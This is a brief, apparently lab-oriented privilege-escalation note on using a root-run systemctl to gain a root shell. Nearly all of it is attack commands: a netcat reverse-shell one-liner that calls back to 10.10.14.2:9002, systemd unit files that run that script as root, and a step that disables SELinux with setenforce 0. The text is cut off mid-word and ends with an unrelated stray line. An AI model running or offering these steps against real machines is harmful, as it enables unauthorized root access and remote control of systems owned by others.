This can be done when you find system ctl is running as root. so we need to create my own service. that can be done by METHOD - I Create a file named test.sh in Target Machine rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9002 >/tmp/f save it as test.sh → copy the file to /home/bhanu/test.sh chmod +x test.sh now create a new service: → save it as mys.service [Unit] Description=Example systemd service. [Service] Type=simple ExecStart=/bin/bash /home/bhanu/test.sh [Install] WantedBy=multi-user.target # Another set of Service - USE ONLY ONE SERVICE [Unit] Description=Example systemd service. [Service] Type=simple ExecStart=/bin/bash -p -c "id > /tmp/output" [Install] WantedBy=multi-user.target #if you face any issues run below 2 commands sudo setenforce 0 sudo systemctl daemon-reload #not mandatory chmod 644 /home/bhanu/mys.service # Start the Service systemctl enable /home/bhanu/mys.service #Check stat...
Way to Divergence